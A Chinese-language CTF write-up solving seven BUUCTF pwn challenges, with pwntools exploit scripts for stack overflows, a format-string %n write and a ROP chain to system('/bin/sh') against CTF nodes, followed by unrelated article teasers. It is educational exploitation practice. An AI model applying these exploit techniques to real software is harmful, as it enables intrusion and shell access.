BUUCTF[PWN]

BUUCTF[PWN]

题目:warmup_csaw_2016

  1. 地址:warmup_csaw_2016
  2. ida打开,进main函数:image-20240507204853587
  3. gets函数的栈溢出:给出了sub_40060D函数的地址image-20240507204928362
  4. 直接,溢出到sub_40060D的地址即可:
from pwn import *
 
p = remote('node5.buuoj.cn',28462)
payload = b'a'*(64+8)+p64(0x40060d)
p.sendline(payload)
p.interactive()

题目:pwn1_sctf_2016

  1. 地址:pwn1_sctf_2016
  2. ida打开进入vuln函数:image-20240507213015640
  3. 先找后门函数:get_flagimage-20240507213041278
  4. 虽然说有fgets函数,但是限制了长度为32,但是看栈中 返回地址距离 s有 0x3c+4 ,不足以溢出到返回值:image-20240507213231797
  5. 重新来看一下vuln函数的逻辑找突破口:可以将输入的 I 替换 为 you ,相当于将一位变成了三位,再计算一下 0x3c+4=3*21+1 ,所以我们要输入21个I外加另外任意一个字符,即可再字符串替换后溢出到返回值的位置。image-20240507213936907
  6. 攻击脚本如下:image-20240507214247106
from pwn import *
 
p = remote('node5.buuoj.cn',25670)

payload = b'I'*(21)+b'a'+p64(0x8048F0D)
p.sendline(payload)
p.interactive()

题目:jarvisoj_level0

  1. 地址:jarvisoj_level0
  2. 依旧ida打开,进入到vulnerable_function函数:buf只有128,但是输入有0x200,必有溢出。image-20240507214757431
  3. 找到后门函数:callsystemimage-20240507214845844
  4. 栈中的偏移为 128+8image-20240507214927684
  5. 解题脚本:image-20240507215000428
from pwn import *
 
p = remote('node5.buuoj.cn',27519)

payload = b'I'*(128+8)+p64(0x400596)
p.sendline(payload)
p.interactive()

题目:get_started_3dsctf_2016

  1. 进main函数:程序提供了后门溢出函数gets,距离返回值只有56。image-20240510222953507

image-20240510223005248

  1. 看后门函数get_flag:对输入进行一个判断,在栈上可以看到数据的位置,在栈溢出时可以直接写道栈上。image-20240510223042459

image-20240510223104704

  1. 脚本如下:
from pwn import *
 
p = remote('node5.buuoj.cn',27248)

door=0x80489A0
return_exit=0x804E6A0

payload = b'a'*(56)+p32(door)+p32(return_exit)+p32(0x308CD64F)+p32(0x195719D1)

	
p.sendline(payload)
p.interactive()

  1. 题目中get_flag函数退出时需要提供一个 合适的返回值 (exit函数的地址),保证程序正常退出,否则get_flag函数无法正常退出,输入在使用putchar输入在 缓存区中的flag 会因为程序的异常崩溃无法输出到终端上。

image-20240510223710607

bjdctf_2020_babystack

  1. 进入main函数:简单的栈溢出,让我们输入数据的长度,当然越大越好。image-20240510231719408
  2. 再看一眼main的栈,和后门函数:image-20240510231809938

image-20240510231923575

  1. 攻击脚本:
from pwn import *
 
p = remote('node5.buuoj.cn',27064)

p.recvuntil(b"[+]Please input the length of your name:")
p.sendline(b'50')

door=0x4006E6

p.recvuntil(b"What's u name?")

payload = b'a'*(12+12)+p64(door+1)

	
p.sendline(payload)
p.interactive()

[第五空间2019 决赛]PWN5

  1. 进入main函数:read函数指定了读取的大小,无法进行栈溢出,但是观察到 printf(buf),存在格式化字符串漏洞。image-20240511105854807
  2. 利用格式化字符串可以阿将 dword_804C044处的值进行修改,改为我们想要的输入的值,来达到使if条件判断通过的目的,dword_804C044的地址为 0804C044 ,使用%n修改指定地址处的值时,需要确定我们写入数据的偏移,这样使用%n才能指定到相应的地址。
  • 先使用 **AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p **来显示输入的数据的偏移:image-20240511110633456

  • 可以看到输入的字符串偏移为 10,所以输入地址0804C044后需要将栈中偏移为10的数值(0804C044)所指向的地址处的值进行修改。

  • 脚本如下,最后输入的passwd会进入atoi函数,这函数将 字符串转 化为对应的 数字image-20240511111115233

    from pwn import *
    
    p = remote('node5.buuoj.cn',27105)
    p.recvuntil(b"your name:")
    
    payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
    p.sendline(payload)
    
    p.recvuntil(b"your passwd:")
    
    payload = str(0x10101010)
    p.sendline(payload.encode())
    p.interactive()
    

    image-20240511111140609

[HarekazeCTF2019]baby_rop

  1. checksec检查后,时64位程序,ida打开进入main函数: __isoc99_scanf函数使用 %s,存在栈溢出 。image-20240511210554361
  2. 没有现成的system(“/bin/sh”),需要手动构造:存在 system函数/bin/sh 字符串,直接使用system给其传参即可,但是注意这是64位的程序, 前6个参数传递依靠寄存器。image-20240511210719114

image-20240511210730969

image-20240511210933208

  1. system函数需要一个参数,直接使用rdi进行传参,但是栈溢出的main函数只有一个ret,所以需要找到程序中的 pop rdi;ret指令的地址,直接使用 **ROPgadget --binary babyrop --only “pop|ret”**指令查找程序中可能出现的指令组合:image-20240511211205218

  2. 可以看到在 0x400683指令处存在 pop rdi ; ret组合(即先执行pop rdi 再执行ret),这使得可以继续改变rip的值,跳转到后门函数system的地址处。

  3. 脚本如下:

    from pwn import *
     
    p = remote('node5.buuoj.cn',29873)
    #p.recvuntil(b"What's your name?")
    sh_addr=0x601048
    rdi_addr=0x400683
    door=0x400490
    ret=0x400479
    payload = b'a'*(16+8)+p64(rdi_addr)+p64(sh_addr)+p64(door)	
    p.sendline(payload)
    p.interactive()
    
    
  4. 拿到shell后没有看到flag,使用 find -name flag 查找flag文件的路径,再显示:image-20240511211648974

  5. 拿到shell后没有看到flag,使用 find -name flag 查找flag文件的路径,再显示:[外链图片转存中…(img-NLt6ELLi-1715433475139)]

  6. 币了吧@~@

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/614593.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue 孙组件调用父组件的方法

通过组件内的 传递方法名称&#xff0c;可以实现孙组件调用父组件。 代码如下&#xff1a; index.html <!DOCTYPE html> <html> <head><meta charset"utf-8"><script src"/framework/vue-2.7.16.min.js"></script>…

数字孪生引擎国产信创环境适配靠谱么?

近期我们组织了一次国产化环境适配以及产品国产化产品替换的交流&#xff0c;虽然从属于不同的业务条线&#xff0c;但是在过去一段时间多多少少都承受不同程度的信创压力&#xff0c;尤其是自然资源业务方面&#xff0c;由于自然资源大多数的业务是属于强GIS的范畴&#xff0c…

基于单片机的直流电机检测与控制系统

摘要&#xff1a; 文章设计一款流电机控制系统&#xff0c;以 STC89C51 作为直流电机控制系统的主控制器&#xff0c;采用 LM293 做为驱动器实现 对直流电机的驱动&#xff0c;采用霍尔实现对直流电机速度的检测&#xff1b;本文对直流电机控制系统功能分析&#xff0c;选择确…

Colab/PyTorch - 003 Transfer Learning For Image Classification

Colab/PyTorch - 003 Transfer Learning For Image Classification 1. 源由2. 迁移学习(ResNet50)2.1 数据集准备2.2 数据增强2.3 数据加载2.4 迁移学习2.5 数据集训练&验证2.6 模型推理 3. 总结4. 参考资料 1. 源由 迁移学习已经彻底改变了 PyTorch 中处理图像分类的方式…

搜歌网搜索各种类型音乐,统统歌曲转换格式mp3,轻松实现音乐自由!

在互联网的广阔天地中&#xff0c;音乐爱好者们总能找到满足自己需求的平台。其中&#xff0c;支持全网搜歌的网站无疑是一个值得推荐的音乐探索乐园。无论是寻找经典老歌&#xff0c;还是发掘新兴音乐&#xff0c;搜他们都能为音乐爱好者提供一站式的服务。 一般支持全网搜索…

微信投票源码系统至尊版 吸粉变现功能二合一

源码简介 微信投票系统在营销和社交互动中发挥着多方面的作用&#xff0c;它能够提升用户的参与度和品牌曝光度&#xff0c;还是一种有效的数据收集、营销推广和民主决策工具。 分享一款微信投票源码系统至尊版&#xff0c;集吸粉变现功能二合一&#xff0c;全网独家支持礼物…

py黑帽子学习笔记_网络编程工具

tcp客户端 socket.AF_INET表示使用标准IPV4地址和主机名 SOCK_STREAM表示这是一个TCP客户端 udp客户端 udp无需连接&#xff0c;因此不需要client.connect这种代码 socket.SOCK_DGRAM是udp的 tcp服务端 server.listen(5)表示设置最大连接数为5 发现kill server后端口仍占用…

【论文阅读笔记】jTrans(ISSTA 22)

个人博客地址 [ISSTA 22] jTrans&#xff08;个人阅读笔记&#xff09; 论文&#xff1a;《jTrans: Jump-Aware Transformer for Binary Code Similarity》 仓库&#xff1a;https://github.com/vul337/jTrans 提出的问题 二进制代码相似性检测&#xff08;BCSD&#xff0…

Stable Diffusion的技术原理

一、Stable Diffusion的技术原理 Stable Diffusion是一种基于Latent Diffusion Models&#xff08;LDMs&#xff09;实现的文本到图像&#xff08;text-to-image&#xff09;生成模型。其工作原理主要基于扩散过程&#xff0c;通过模拟数据的随机演化行为&#xff0c;实现数据…

壹资源知识付费系统源码-小程序端+pc端

最新整理优化&#xff0c;含微信小程序和pc网页。内置几款主题&#xff0c;并且可以自己更改主题样式&#xff0c;各区块颜色&#xff0c;文字按钮等。 适用于知识付费类资源类行业。如&#xff1a;项目类&#xff0c;小吃技术类&#xff0c;图书类&#xff0c;考研资料类&…

修改表空间对应数据文件的大小

Oracle从入门到总裁:​​​​​​https://blog.csdn.net/weixin_67859959/article/details/135209645 表空间与数据文件紧密相连&#xff0c;相互依存&#xff0c;创建表空间的时候需设置数据文件大小。 在后期实际应用中&#xff0c;如果实际存储的数据量超出事先设置的数据…

本地运行.net项目

有时候需要我们自己做一个.net的课设项目&#xff0c;但是我们有了代码后却不知道怎么运行。我们0基础来学习一下如何运行一个.net项目 1.安装visual studio 2022 不用安装老版本&#xff0c;新版就可以。安装好了2022版本&#xff0c;这是一个支持web的IDE&#xff0c;我们可…

Java----数组的定义和使用

1.数组的定义 在Java中&#xff0c;数组是一种相同数据类型的集合。数组在内存中是一段连续的空间。 2.数组的创建和初始化 2.1数组的创建 在Java中&#xff0c;数组创建的形式与C语言又所不同。 Java中数组创建的形式 T[] 数组名 new T[N]; 1.T表示数组存放的数据类型…

ARM单片机实现流水灯(GD32)

根据上图可知使用的引脚分别是PA8,PE6,PF6流水灯功能的实现要分别初始化这几个引脚 流水灯实现 编写流水灯代码 LED.C #include "gd32f30x.h" // Device header #include "Delay.h" // 初始化LED灯 void LED_Init(void){// 使能RCU时钟…

词令蚂蚁庄园今日答案如何在微信小程序查看蚂蚁庄园今天问题的正确答案?

词令蚂蚁庄园今日答案如何在微信小程序查看蚂蚁庄园今天问题的正确答案&#xff1f; 1、打开微信&#xff0c;点击搜索框&#xff1b; 2、打开搜索页面&#xff0c;选择小程序搜索&#xff1b; 3、在搜索框&#xff0c;输入词令搜索点击进入词令微信小程序&#xff1b; 4、打开…

1290.二进制链表转整数

给你一个单链表的引用结点 head。链表中每个结点的值不是 0 就是 1。已知此链表是一个整数数字的二进制表示形式。 请你返回该链表所表示数字的 十进制值 。 示例 1&#xff1a; 输入&#xff1a;head [1,0,1] 输出&#xff1a;5 解释&#xff1a;二进制数 (101) 转化为十进制…

三大消息传递机制区别与联系

目录 总结放开头 1、定义区别&#xff1a; EventBus Broadcast Receiver Notification 2、使用区别: EventBus Broadcast Receiver Notification 3、补充通知渠道&#xff1a; 通知渠道重要程度 总结放开头 BroadCast Receiver:属于安卓全局监听机制&#xff0c;接收…

软件开发项目实施方案-精华资料(Word原件)

依据项目建设要求&#xff0c;对平台进行整体规划设计更新维护&#xff0c;对系统运行的安全性、可靠性、易用性以及稳健性进行全新设计&#xff0c;并将所有的应用系统进行部署实施和软件使用培训以及技术支持。 根据施工总进度规划&#xff0c;编制本项目施工进度计划表。依据…

卷积特征图与感受野

特征图尺寸和感受野是卷积神经网络中非常重要的两个概念&#xff0c;今天来看一下&#xff0c;如何计算特征尺寸和感受野。 特征图尺寸 卷积特征图&#xff0c;是图片经过卷积核处理之后的尺寸。计算输出特征的尺寸&#xff0c;需要给出卷积核的相关参数包括&#xff1a; 输…

【C++泛型编程】(二)标准模板库 STL

文章目录 标准模板库 STL容器算法迭代器仿函数/函数对象适配器分配器示例 标准模板库 STL C 的标准模板库&#xff08;Standard Template Library&#xff0c;STL&#xff09;旨在通过模板化的设计&#xff0c;提供一种通用的编程模式&#xff0c;使程序员能方便地实现和扩展各…